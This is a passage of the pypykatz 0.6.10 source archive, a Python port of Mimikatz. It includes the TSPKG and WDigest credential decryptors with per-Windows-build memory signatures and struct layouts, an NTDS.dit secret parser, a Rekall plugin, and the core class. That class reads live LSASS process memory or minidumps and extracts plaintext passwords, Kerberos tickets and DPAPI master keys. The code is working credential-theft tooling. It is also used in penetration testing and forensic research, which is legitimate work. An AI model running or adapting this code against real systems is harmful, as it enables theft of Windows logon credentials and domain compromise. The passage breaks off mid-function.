mtime=1703767448.0 pypykatz-0.6.10/pypykatz/lsadecryptor/packages/tspkg/decryptor.py0000664000175000017500000000643314543266630024765 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # import io import json from pypykatz import logger from pypykatz.lsadecryptor.package_commons import PackageDecryptor from pypykatz.commons.win_datatypes import PRTL_AVL_TABLE class TspkgCredential: def __init__(self): self.credtype = 'tspkg' self.username = None self.domainname = None self.password = None self.password_raw = b'' self.luid = None def to_dict(self): t = {} t['credtype'] = self.credtype t['username'] = self.username t['domainname'] = self.domainname t['password'] = self.password t['password_raw'] = self.password_raw t['luid'] = self.luid return t def to_json(self): return json.dumps(self.to_dict()) def __str__(self): t = '\t== TSPKG [%x]==\n' % self.luid t += '\t\tusername %s\n' % self.username t += '\t\tdomainname %s\n' % self.domainname t += '\t\tpassword %s\n' % self.password t += '\t\tpassword (hex)%s\n' % self.password_raw.hex() return t class TspkgDecryptor(PackageDecryptor): def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo): super().__init__('Tspkg', lsa_decryptor, sysinfo, reader) self.decryptor_template = decryptor_template self.credentials = [] def find_first_entry(self): position = self.find_signature('TSpkg.dll',self.decryptor_template.signature) ptr_entry_loc = self.reader.get_ptr_with_offset(position + self.decryptor_template.avl_offset) ptr_entry = self.reader.get_ptr(ptr_entry_loc) return ptr_entry, ptr_entry_loc def start(self): try: entry_ptr_value, entry_ptr_loc = self.find_first_entry() except Exception as e: self.log('Failed to find structs! Reason: %s' % e) return result_ptr_list = [] self.reader.move(entry_ptr_value) try: start_node = PRTL_AVL_TABLE(self.reader).read(self.reader) except Exception as e: logger.error('Failed to prcess TSPKG package! Reason: %s' % e) return self.walk_avl(start_node.BalancedRoot.RightChild, result_ptr_list) for ptr in result_ptr_list: self.log_ptr(ptr, self.decryptor_template.credential_struct.__name__) self.reader.move(ptr) credential_struct = self.decryptor_template.credential_struct(self.reader) primary_credential = credential_struct.pTsPrimary.read(self.reader) if not primary_credential is None: c = TspkgCredential() c.luid = credential_struct.LocallyUniqueIdentifier #c.username = primary_credential.credentials.UserName.read_string(self.reader) #c.domainname = primary_credential.credentials.Domaine.read_string(self.reader) #### the above two lines will be switched, because it seems that username and domainname is always switched in this package. #### reason is beyond me... c.domainname = primary_credential.credentials.UserName.read_string(self.reader) c.username = primary_credential.credentials.Domaine.read_string(self.reader) if primary_credential.credentials.Password.Length != 0: enc_data = primary_credential.credentials.Password.read_maxdata(self.reader) if c.username.endswith('$') is True: c.password, c.password_raw = self.decrypt_password(enc_data, bytes_expected=True) if c.password is not None: c.password = c.password.hex() else: c.password, c.password_raw = self.decrypt_password(enc_data) self.credentials.append(c)././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/lsadecryptor/packages/tspkg/templates.py0000664000175000017500000000716414543266630024752 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # #import io #from minidump.win_datatypes import * from pypykatz.commons.common import KatzSystemArchitecture, WindowsBuild, WindowsMinBuild from pypykatz.commons.win_datatypes import KIWI_GENERIC_PRIMARY_CREDENTIAL, POINTER, PVOID, LUID from pypykatz.lsadecryptor.package_commons import PackageTemplate class TspkgTemplate(PackageTemplate): def __init__(self): super().__init__('Tspkg') self.signature = None self.avl_offset = None self.credential_struct = None @staticmethod def get_template(sysinfo): template = TspkgTemplate() if sysinfo.architecture == KatzSystemArchitecture.X64: template.signature = b'\x48\x83\xec\x20\x48\x8d\x0d' template.avl_offset = 7 if sysinfo.buildnumber < WindowsBuild.WIN_10_1607.value: template.credential_struct = KIWI_TS_CREDENTIAL_x64 elif sysinfo.buildnumber >= WindowsBuild.WIN_10_1607.value: template.credential_struct = KIWI_TS_CREDENTIAL_1607_x64 else: #currently this doesnt make sense, but keeping it here for future use raise Exception('Could not identify template! Architecture: %s Buildnumber: %s' % (sysinfo.architecture, sysinfo.buildnumber)) elif sysinfo.architecture == KatzSystemArchitecture.X86: if sysinfo.buildnumber < WindowsMinBuild.WIN_8.value: template.signature = b'\x8b\xff\x55\x8b\xec\x51\x56\xbe' template.avl_offset = 8 template.credential_struct = KIWI_TS_CREDENTIAL elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value: template.signature = b'\x8b\xff\x53\xbb' template.avl_offset = 4 template.credential_struct = KIWI_TS_CREDENTIAL elif WindowsMinBuild.WIN_BLUE.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1607.value: template.signature = b'\x8b\xff\x57\xbf' template.avl_offset = 4 template.credential_struct = KIWI_TS_CREDENTIAL elif sysinfo.buildnumber >= WindowsBuild.WIN_10_1607.value: template.signature = b'\x8b\xff\x57\xbf' template.avl_offset = 4 template.credential_struct = KIWI_TS_CREDENTIAL_1607 else: raise Exception('Unknown architecture! %s' % sysinfo.architecture) template.log_template('credential_struct', template.credential_struct) return template class PKIWI_TS_PRIMARY_CREDENTIAL(POINTER): def __init__(self, reader): super().__init__(reader, KIWI_TS_PRIMARY_CREDENTIAL) class KIWI_TS_PRIMARY_CREDENTIAL: def __init__(self, reader): self.unk0 = PVOID(reader) # // lock ? self.credentials = KIWI_GENERIC_PRIMARY_CREDENTIAL(reader) class KIWI_TS_CREDENTIAL: def __init__(self, reader): self.unk0 = reader.read(64) self.LocallyUniqueIdentifier = LUID(reader).value reader.align() self.unk1 = PVOID(reader) self.unk2 = PVOID(reader) self.pTsPrimary = PKIWI_TS_PRIMARY_CREDENTIAL(reader) class KIWI_TS_CREDENTIAL_x64: def __init__(self, reader): self.unk0 = reader.read(108) self.LocallyUniqueIdentifier = LUID(reader).value reader.align() self.unk1 = PVOID(reader) self.unk2 = PVOID(reader) self.pTsPrimary = PKIWI_TS_PRIMARY_CREDENTIAL(reader) class KIWI_TS_CREDENTIAL_1607: def __init__(self, reader): self.unk0 = reader.read(68) self.LocallyUniqueIdentifier = LUID(reader).value reader.align() self.unk1 = PVOID(reader) self.unk2 = PVOID(reader) self.pTsPrimary = PKIWI_TS_PRIMARY_CREDENTIAL(reader) class KIWI_TS_CREDENTIAL_1607_x64: def __init__(self, reader): self.unk0 = reader.read(112) self.LocallyUniqueIdentifier = LUID(reader).value reader.align() self.unk1 = PVOID(reader) self.unk2 = PVOID(reader) self.pTsPrimary = PKIWI_TS_PRIMARY_CREDENTIAL(reader) ././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1721570196.3193648 pypykatz-0.6.10/pypykatz/lsadecryptor/packages/wdigest/0000775000175000017500000000000014647211624022706 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/lsadecryptor/packages/wdigest/__init__.py0000664000175000017500000000000014543266630025007 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/lsadecryptor/packages/wdigest/decryptor.py0000664000175000017500000000562614543266630025306 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # import io import json from pypykatz.lsadecryptor.package_commons import PackageDecryptor from pypykatz.commons.win_datatypes import LSA_UNICODE_STRING class WdigestCredential: def __init__(self): self.credtype = 'wdigest' self.username = None self.domainname = None self.password = None self.password_raw = b'' self.luid = None def to_dict(self): t = {} t['credtype'] = self.credtype t['username'] = self.username t['domainname'] = self.domainname t['password'] = self.password t['password_raw'] = self.password_raw t['luid'] = self.luid return t def to_json(self): return json.dumps(self.to_dict()) def __str__(self): t = '\t== WDIGEST [%x]==\n' % self.luid t += '\t\tusername %s\n' % self.username t += '\t\tdomainname %s\n' % self.domainname t += '\t\tpassword %s\n' % self.password t += '\t\tpassword (hex)%s\n' % self.password_raw.hex() return t class WdigestDecryptor(PackageDecryptor): def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo): super().__init__('Wdigest', lsa_decryptor, sysinfo, reader) self.decryptor_template = decryptor_template self.credentials = [] def find_first_entry(self): position = self.find_signature('wdigest.dll',self.decryptor_template.signature) ptr_entry_loc = self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset) ptr_entry = self.reader.get_ptr(ptr_entry_loc) return ptr_entry, ptr_entry_loc def add_entry(self, wdigest_entry): """ Changed the wdigest parsing, the struct only contains the pointers in the linked list, the actual data is read by adding an offset to the current entry's position """ wc = WdigestCredential() wc.luid = wdigest_entry.luid #input(wdigest_entry.this_entry.value) self.reader.move(wdigest_entry.this_entry.value + self.decryptor_template.primary_offset) UserName = LSA_UNICODE_STRING(self.reader) DomainName = LSA_UNICODE_STRING(self.reader) Password = LSA_UNICODE_STRING(self.reader) wc.username = UserName.read_string(self.reader) wc.domainname = DomainName.read_string(self.reader) wc.encrypted_password = Password.read_maxdata(self.reader) if wc.username.endswith('$') is True: wc.password, wc.password_raw = self.decrypt_password(wc.encrypted_password, bytes_expected=True) if wc.password is not None: wc.password = wc.password.hex() else: wc.password, wc.password_raw = self.decrypt_password(wc.encrypted_password) if wc.username == '' and wc.domainname == '' and wc.password is None: return self.credentials.append(wc) def start(self): try: entry_ptr_value, entry_ptr_loc = self.find_first_entry() except Exception as e: self.log('Failed to find Wdigest structs! Reason: %s' % e) return self.reader.move(entry_ptr_loc) entry_ptr = self.decryptor_template.list_entry(self.reader) self.walk_list(entry_ptr, self.add_entry)././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1715591579.0 pypykatz-0.6.10/pypykatz/lsadecryptor/packages/wdigest/templates.py0000664000175000017500000001046714620354633025265 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # #import io #from minidump.win_datatypes import * from pypykatz.commons.common import KatzSystemArchitecture, WindowsBuild, WindowsMinBuild from pypykatz.commons.win_datatypes import LUID, ULONG, POINTER from pypykatz.lsadecryptor.package_commons import PackageTemplate class WdigestTemplate(PackageTemplate): def __init__(self): super().__init__('Wdigest') self.signature = None self.first_entry_offset = None self.list_entry = None self.primary_offset = None @staticmethod def get_template(sysinfo): template = WdigestTemplate() if sysinfo.architecture == KatzSystemArchitecture.X64: if WindowsMinBuild.WIN_XP.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_2K3.value: template.signature = b'\x48\x3b\xda\x74' template.first_entry_offset = -4 template.primary_offset = 36 template.list_entry = PWdigestListEntry elif WindowsMinBuild.WIN_2K3.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: template.signature = b'\x48\x3b\xda\x74' template.first_entry_offset = -4 template.primary_offset = 48 template.list_entry = PWdigestListEntry elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_11.value: template.signature = b'\x48\x3b\xd9\x74' template.first_entry_offset = -4 template.primary_offset = 48 template.list_entry = PWdigestListEntry elif sysinfo.buildnumber >= WindowsMinBuild.WIN_11.value: template.signature = b'\x48\x3b\xd8\x74' template.first_entry_offset = -4 template.primary_offset = 48 template.list_entry = PWdigestListEntry else: raise Exception('Could not identify template! Architecture: %s sysinfo.buildnumber: %s' % (sysinfo.architecture, sysinfo.buildnumber)) elif sysinfo.architecture == KatzSystemArchitecture.X86: if WindowsMinBuild.WIN_XP.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_2K3.value: template.signature = b'\x74\x18\x8b\x4d\x08\x8b\x11' template.first_entry_offset = -6 template.primary_offset = 36 template.list_entry = PWdigestListEntryNT5 elif WindowsMinBuild.WIN_2K3.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: template.signature = b'\x74\x18\x8b\x4d\x08\x8b\x11' template.first_entry_offset = -6 template.primary_offset = 28 template.list_entry = PWdigestListEntryNT5 elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value: template.signature = b'\x74\x11\x8b\x0b\x39\x4e\x10' template.first_entry_offset = -6 template.primary_offset = 32 template.list_entry = PWdigestListEntry elif WindowsMinBuild.WIN_BLUE.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_10.value: template.signature = b'\x74\x15\x8b\x0a\x39\x4e\x10' template.first_entry_offset = -4 template.primary_offset = 32 template.list_entry = PWdigestListEntry elif WindowsMinBuild.WIN_10.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1809.value: template.signature = b'\x74\x15\x8b\x0a\x39\x4e\x10' template.first_entry_offset = -6 template.primary_offset = 32 template.list_entry = PWdigestListEntry else: # sysinfo.buildnumber >= WindowsBuild.WIN_10_1809: template.signature = b'\x74\x15\x8b\x17\x39\x56\x10' template.first_entry_offset = -6 template.primary_offset = 32 template.list_entry = PWdigestListEntry else: raise Exception('Unknown architecture! %s' % sysinfo.architecture) template.log_template('list_entry', template.list_entry) return template class PWdigestListEntry(POINTER): def __init__(self, reader): super().__init__(reader, WdigestListEntry) class PWdigestListEntryNT5(POINTER): def __init__(self, reader): super().__init__(reader, WdigestListEntryNT5) class WdigestListEntryNT5: def __init__(self, reader): self.Flink = PWdigestListEntryNT5(reader) self.Blink = PWdigestListEntryNT5(reader) self.this_entry = PWdigestListEntryNT5(reader) self.usage_count = ULONG(reader) reader.align() #8? self.luid = LUID(reader).value class WdigestListEntry: def __init__(self, reader): self.Flink = PWdigestListEntry(reader) self.Blink = PWdigestListEntry(reader) self.usage_count = ULONG(reader) reader.align() #8? self.this_entry = PWdigestListEntry(reader) self.luid = LUID(reader).value ././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1721570196.3193648 pypykatz-0.6.10/pypykatz/parsers/0000775000175000017500000000000014647211624016426 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/parsers/__init__.py0000664000175000017500000000000014543266630020527 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/parsers/cmdhelper.py0000664000175000017500000000646214543266630020755 0ustar00webdevwebdev #!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # import asyncio import platform from tqdm import tqdm async def flush_buffer(buffer, outfile_handle = None): try: if outfile_handle is not None: res = '' for secret in buffer: try: res += str(secret) except: continue outfile_handle.write(res) else: for secret in buffer: try: print(str(secret)) except: continue buffer = [] return True, None except Exception as e: return None, e class ParsersCMDHelper: def __init__(self): self.live_keywords = ['parser'] self.keywords = ['parser'] def add_args(self, parser, live_parser): parser_group = parser.add_parser('parser', help='SMB related commands') parser_subparsers = parser_group.add_subparsers() parser_subparsers.required = True parser_subparsers.dest = 'parser_module' ntds_group = parser_subparsers.add_parser('ntds', help='NTDS.dit file parser, extracting secrets') ntds_group.add_argument('ntdsfile', help="NTDS.dit file") ntds_group.add_argument('systemhive', help="SYSTEM hive file or the Bootkey(in hex). This is needed to decrypt the secrets") ntds_group.add_argument('-p', '--progress', action='store_true', help="Show progress bar. Please use this only if you also specified an output file.") ntds_group.add_argument('-o', '--outfile', help='Output file. If omitted secrets will be printed to STDOUT') ntds_group.add_argument('--strict', action='store_true', help='Strict parsing. Fails on errors') ntds_group.add_argument('--no-history', action='store_true', help='Do not parse history') def execute(self, args): if args.command in self.keywords: asyncio.run(self.run(args)) if len(self.live_keywords) > 0 and args.command == 'live' and args.module in self.live_keywords: asyncio.run(self.run_live(args)) async def run_live(self, args): if platform.system().lower() != 'windows': raise Exception('Live commands only work on Windows!') async def run(self, args): if args.parser_module == 'ntds': from aesedb.examples.ntdsparse import NTDSParserConsole ntdscon = NTDSParserConsole( args.systemhive, args.ntdsfile, ignore_errors=args.strict, with_history=not args.no_history ) buffer = [] buffer_size = 1000 total = await ntdscon.get_total_rows() if args.progress is True: pbar = tqdm(desc='JET table parsing ', total=total, unit='records', miniters= total//200 ,position=0) pbar_sec = tqdm(desc='User secrets found', unit = '', miniters=buffer_size//10 ,position=1) outfile_handle = None if args.outfile is not None: outfile_handle = open(args.outfile, 'w', newline = '') async for secret, err in ntdscon.get_secrets(): if err is not None: raise err if args.progress is True: pbar.update() if secret is None: continue if args.progress is True: pbar_sec.update() buffer.append(secret) if len(buffer) > buffer_size: _, err = await flush_buffer(buffer, outfile_handle) buffer = [] if err is not None: raise err _, err = await flush_buffer(buffer, outfile_handle) buffer = [] if err is not None: raise err #parser = NTDSParserConsole(args.systemhive, args.ntdsfile, show_progress = args.progress, outfile = args.outfile) #await parser.run() ././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1721570196.3193648 pypykatz-0.6.10/pypykatz/plugins/0000775000175000017500000000000014647211624016430 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/plugins/__init__.py0000664000175000017500000000000014543266630020531 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/plugins/pypykatz_rekall.py0000664000175000017500000000611614543266630022235 0ustar00webdevwebdev#from builtins import str __author__ = ("Tamas Jos ") from pypykatz.pypykatz import pypykatz from pypykatz.commons.readers.rekall.rekallreader import RekallReader from pypykatz.commons.common import * import json import ntpath import os from rekall.plugins.windows import common class Pypykatz(common.WindowsCommandPlugin): """Extract and decrypt passwords from the LSA Security Service.""" """ IMPORTANT: Using the default viewer on rekall will NOT show you all the info!!! Recommendation: Use the out_file and kerberos_dir flags to get all the juicy stuff """ __name = "pypykatz" __args = [ dict(name="override_timestamp", type="int", required=False, help="The msv dll file timestamp detection fails in some cases."), dict(name="out_file", required=False, help="The file name to write."), dict(name="kerberos_dir", required=False, help="The file name to write."), dict(name="json", required=False, type="bool", help="Write credentials to file in JSON format"), ] table_header = [ dict(name='LUID', width=6), dict(name='Type', width=8), dict(name='Sess', width=2), dict(name='SID', width=20), dict(name='Module', width=7), dict(name='Info', width=7), dict(name='Domain', width=16), dict(name='User', width=16), dict(name='SType', width=9), dict(name='Secret', width=80) ] def __init__(self, *args, **kwargs): super(Pypykatz, self).__init__(*args, **kwargs) def collect(self): cc = self.session.plugins.cc() mimi = pypykatz.go_rekall(self.session, self.plugin_args.override_timestamp) if self.plugin_args.out_file and self.plugin_args.json: self.session.logging.info('Dumping results to file in JSON format') with open(self.plugin_args.out_file, 'w') as f: json.dump(mimi, f, cls = UniversalEncoder, indent=4, sort_keys=True) elif self.plugin_args.out_file: self.session.logging.info('Dumping results to file') with open(self.plugin_args.out_file, 'w') as f: f.write('FILE: ======== MEMORY =======\n') for luid in mimi.logon_sessions: f.write('\n'+str(mimi.logon_sessions[luid])) if len(mimi.orphaned_creds) > 0: f.write('\n== Orphaned credentials ==\n') for cred in mimi.orphaned_creds: f.write(str(cred)) else: self.session.logging.info('Dumping results') for luid in mimi.logon_sessions: for row in mimi.logon_sessions[luid].to_row(): yield row if self.plugin_args.kerberos_dir: directory = os.path.abspath(self.plugin_args.kerberos_dir) self.session.logging.info('Writing kerberos tickets to %s' % directory) base_filename = ntpath.basename('rekall_memory') ccache_filename = '%s_%s.ccache' % (base_filename, os.urandom(4).hex()) #to avoid collisions mimi.kerberos_ccache.to_file(os.path.join(directory, ccache_filename)) for luid in mimi.logon_sessions: for kcred in mimi.logon_sessions[luid].kerberos_creds: for ticket in kcred.tickets: ticket.to_kirbi(directory) for cred in mimi.orphaned_creds: if cred.credtype == 'kerberos': for ticket in cred.tickets: ticket.to_kirbi(directory) return././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1714320164.0 pypykatz-0.6.10/pypykatz/pypykatz.py0000664000175000017500000003263214613471444017223 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # import platform import json import traceback import base64 from pypykatz.commons.common import KatzSystemInfo from pypykatz.lsadecryptor import CredmanTemplate, MsvTemplate, \ MsvDecryptor, WdigestTemplate, LsaTemplate, WdigestDecryptor, \ LiveSspTemplate, LiveSspDecryptor, SspDecryptor, SspTemplate, \ TspkgDecryptor, TspkgTemplate, KerberosTemplate, KerberosDecryptor, \ DpapiTemplate, DpapiDecryptor, LsaDecryptor,CloudapTemplate,\ CloudapDecryptor from pypykatz.lsadecryptor.packages.msv.decryptor import LogonSession from pypykatz import logger from pypykatz.commons.common import UniversalEncoder from minidump.minidumpfile import MinidumpFile from minikerberos.common.ccache import CCACHE from minikerberos.common.kirbi import Kirbi from pypykatz._version import __version__ class pypykatz: def __init__(self, reader, sysinfo): self.reader = reader self.sysinfo = sysinfo self.credentials = [] self.architecture = None self.operating_system = None self.buildnumber = None self.lsa_decryptor = None self.logon_sessions = {} self.orphaned_creds = [] self.errors = [] self.kerberos_ccache = CCACHE() def to_dict(self): t = {} t['logon_sessions'] = {} for ls in self.logon_sessions: # print(ls) t['logon_sessions'][ls] = (self.logon_sessions[ls].to_dict()) t['orphaned_creds'] = [] for oc in self.orphaned_creds: t['orphaned_creds'].append(oc.to_dict()) t['errors'] = [] for pkg, err in self.errors: err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__)) err_str = base64.b64encode(err_str.encode()).decode() t['errors'].append((pkg,err_str)) return t def to_json(self): return json.dumps(self.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True) def to_grep(self): res = ':'.join(LogonSession.grep_header) + '\r\n' for luid in self.logon_sessions: for row in self.logon_sessions[luid].to_grep_rows(): res += ':'.join(row) + '\r\n' for cred in self.orphaned_creds: t = cred.to_dict() if t['credtype'] != 'dpapi': if t['password'] is not None: x = [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])] res += ':'.join(x) + '\r\n' else: t = cred.to_dict() x = [str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), ''] res += ':'.join(x) + '\r\n' for pkg, err in self.errors: err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__)) err_str = base64.b64encode(err_str.encode()).decode() x = [pkg+'_exception_please_report', '', '', '', '', '', '', '', err_str] res += ':'.join(x) + '\r\n' return res def __str__(self): res = '== Logon credentials ==\r\n' for luid in self.logon_sessions: res += str(self.logon_sessions[luid]) + '\r\n' if len(self.orphaned_creds) > 0: res += '== Orphaned credentials ==\r\n' for cred in self.orphaned_creds: res += str(cred) + '\r\n' return res @staticmethod def go_live(packages = ['all']): if platform.system() != 'Windows': raise Exception('Live parsing will only work on Windows') from pypykatz.commons.readers.local.live_reader import LiveReader reader = LiveReader() sysinfo = KatzSystemInfo.from_live_reader(reader) mimi = pypykatz(reader.get_buffered_reader(), sysinfo) mimi.start(packages) return mimi @staticmethod def go_handledup(packages = ['all']): if platform.system() != 'Windows': raise Exception('Live parsing will only work on Windows') from pypykatz.commons.winapi.local.function_defs.live_reader_ctypes import enum_lsass_handles lsass_handles = enum_lsass_handles() if len(lsass_handles) == 0: raise Exception('No handles found to LSASS!') for pid, lsass_handle in lsass_handles: try: return pypykatz.go_live_phandle(lsass_handle, packages = ['all']) except Exception as e: print('[-] Failed to parse lsass via handle %s[@%s] Reason: %s' % (pid, lsass_handle, e)) @staticmethod def go_live_phandle(process_handle, packages = ['all']): if platform.system() != 'Windows': raise Exception('Live parsing will only work on Windows') from pypykatz.commons.readers.local.live_reader import LiveReader reader = LiveReader(process_handle=process_handle) sysinfo = KatzSystemInfo.from_live_reader(reader) mimi = pypykatz(reader.get_buffered_reader(), sysinfo) mimi.start(packages) return mimi @staticmethod def parse_minidump_file(filename, packages = ['all'], chunksize = 10*1024): try: minidump = MinidumpFile.parse(filename) reader = minidump.get_reader().get_buffered_reader(segment_chunk_size=chunksize) sysinfo = KatzSystemInfo.from_minidump(minidump) except Exception as e: logger.exception('Minidump parsing error!') raise e try: mimi = pypykatz(reader, sysinfo) mimi.start(packages) except Exception as e: #logger.info('Credentials parsing error!') mimi.log_basic_info() raise e return mimi @staticmethod def parse_minidump_bytes(data, packages = ['all']): """ Parses LSASS minidump file bytes. data needs to be bytearray """ minidump = MinidumpFile.parse_bytes(data) reader = minidump.get_reader().get_buffered_reader() sysinfo = KatzSystemInfo.from_minidump(minidump) mimi = pypykatz(reader, sysinfo) mimi.start(packages) return mimi @staticmethod def parse_minidump_external(handle, packages = ['all'], chunksize = 10*1024): """ Parses LSASS minidump file based on the file object. File object can really be any object as longs as it implements read, seek, tell functions with the same parameters as a file object would. handle: file like object """ minidump = MinidumpFile.parse_external(handle) reader = minidump.get_reader().get_buffered_reader(segment_chunk_size = chunksize) sysinfo = KatzSystemInfo.from_minidump(minidump) mimi = pypykatz(reader, sysinfo) mimi.start(packages) return mimi @staticmethod def parse_minidump_buffer(buff, packages = ['all']): """ Parses LSASS minidump file which contents are in a bytes buffer buff: io.BytesIO object """ minidump = MinidumpFile.parse_buff(buff) reader = minidump.get_reader().get_buffered_reader() sysinfo = KatzSystemInfo.from_minidump(minidump) mimi = pypykatz(reader, sysinfo) mimi.start(packages) return mimi @staticmethod def parse_memory_dump_rekall(filename, override_timestamp = None, packages = ['all']): from pypykatz.commons.readers.rekall.rekallreader import RekallReader reader = RekallReader.from_memory_file(filename, override_timestamp) sysinfo = KatzSystemInfo.from_rekallreader(reader) mimi = pypykatz(reader, sysinfo) mimi.start(packages) return mimi @staticmethod def go_rekall(session, override_timestamp = None, buildnumber = None, packages = ['all']): from pypykatz.commons.readers.rekall.rekallreader import RekallReader reader = RekallReader.from_session(session, override_timestamp, buildnumber) sysinfo = KatzSystemInfo.from_rekallreader(reader) mimi = pypykatz(reader, sysinfo) mimi.start(packages) return mimi @staticmethod def go_volatility3(vol3_obj, framework_version = 2, packages = ['all']): from pypykatz.commons.readers.volatility3.volreader import Vol3Reader, vol3_treegrid reader = Vol3Reader(vol3_obj, framework_version) sysinfo = reader.get_sysinfo() mimi = pypykatz(reader, sysinfo) mimi.start(packages) return vol3_treegrid(mimi) def log_basic_info(self): """ In case of error, please attach this to the issues page """ logger.info('===== BASIC INFO. SUBMIT THIS IF THERE IS AN ISSUE =====') logger.info('pypyKatz version: %s' % __version__) logger.info('CPU arch: %s' % self.sysinfo.architecture.name) logger.info('OS: %s' % self.sysinfo.operating_system) logger.info('BuildNumber: %s' % self.sysinfo.buildnumber) logger.info('MajorVersion: %s ' % self.sysinfo.major_version) logger.info('MSV timestamp: %s' % self.sysinfo.msv_dll_timestamp) logger.info('===== BASIC INFO END =====') def get_logoncreds(self): credman_template = CredmanTemplate.get_template(self.sysinfo) msv_template = MsvTemplate.get_template(self.sysinfo) logoncred_decryptor = MsvDecryptor(self.reader, msv_template, self.lsa_decryptor, credman_template, self.sysinfo) logoncred_decryptor.start() self.logon_sessions = logoncred_decryptor.logon_sessions def get_lsa_bruteforce(self): #good luck! logger.debug('Testing all available templates! Expect warnings!') for lsa_dec_template in LsaTemplate.get_template_brute(self.sysinfo): try: lsa_dec = LsaDecryptor.choose(self.reader, lsa_dec_template, self.sysinfo) lsa_dec.dump() except: pass else: logger.debug('Lucky you! Brutefoce method found a -probably- working template!') return lsa_dec def get_lsa(self): #trying with automatic template detection try: lsa_dec_template = LsaTemplate.get_template(self.sysinfo) lsa_dec = LsaDecryptor.choose(self.reader, lsa_dec_template, self.sysinfo) lsa_dec.dump() except Exception as e: logger.debug('Failed to automatically detect correct LSA template! Reason: %s' % str(e)) lsa_dec = self.get_lsa_bruteforce() if lsa_dec is None: raise Exception('All detection methods failed.') return lsa_dec else: return lsa_dec def get_wdigest(self): decryptor_template = WdigestTemplate.get_template(self.sysinfo) decryptor = WdigestDecryptor(self.reader, decryptor_template, self.lsa_decryptor, self.sysinfo) decryptor.start() for cred in decryptor.credentials: if cred.luid in self.logon_sessions: self.logon_sessions[cred.luid].wdigest_creds.append(cred) else: self.orphaned_creds.append(cred) def get_tspkg(self): tspkg_dec_template = TspkgTemplate.get_template(self.sysinfo) tspkg_dec = TspkgDecryptor(self.reader,tspkg_dec_template, self.lsa_decryptor, self.sysinfo) tspkg_dec.start() for cred in tspkg_dec.credentials: if cred.luid in self.logon_sessions: self.logon_sessions[cred.luid].tspkg_creds.append(cred) else: self.orphaned_creds.append(cred) def get_ssp(self): dec_template = SspTemplate.get_template(self.sysinfo) dec = SspDecryptor(self.reader, dec_template, self.lsa_decryptor, self.sysinfo) dec.start() for cred in dec.credentials: if cred.luid in self.logon_sessions: self.logon_sessions[cred.luid].ssp_creds.append(cred) else: self.orphaned_creds.append(cred) def get_livessp(self): livessp_dec_template = LiveSspTemplate.get_template(self.sysinfo) livessp_dec = LiveSspDecryptor(self.reader, livessp_dec_template, self.lsa_decryptor, self.sysinfo) livessp_dec.start() for cred in livessp_dec.credentials: if cred.luid in self.logon_sessions: self.logon_sessions[cred.luid].livessp_creds.append(cred) else: self.orphaned_creds.append(cred) def get_dpapi(self): dec_template = DpapiTemplate.get_template(self.sysinfo) dec = DpapiDecryptor(self.reader, dec_template, self.lsa_decryptor, self.sysinfo) dec.start() for cred in dec.credentials: if cred.luid in self.logon_sessions: self.logon_sessions[cred.luid].dpapi_creds.append(cred) else: self.orphaned_creds.append(cred) def get_kerberos(self, with_tickets = True): dec_template = KerberosTemplate.get_template(self.sysinfo) dec = KerberosDecryptor(self.reader, dec_template, self.lsa_decryptor, self.sysinfo, with_tickets = with_tickets) dec.start() for cred in dec.credentials: for ticket in cred.tickets: for fn in ticket.kirbi_data: self.kerberos_ccache.add_kirbi(Kirbi(ticket.kirbi_data[fn])) if cred.luid in self.logon_sessions: self.logon_sessions[cred.luid].kerberos_creds.append(cred) else: self.orphaned_creds.append(cred) def get_cloudap(self): cloudap_dec_template = CloudapTemplate.get_template(self.sysinfo) if cloudap_dec_template is None: return cloudap_dec = 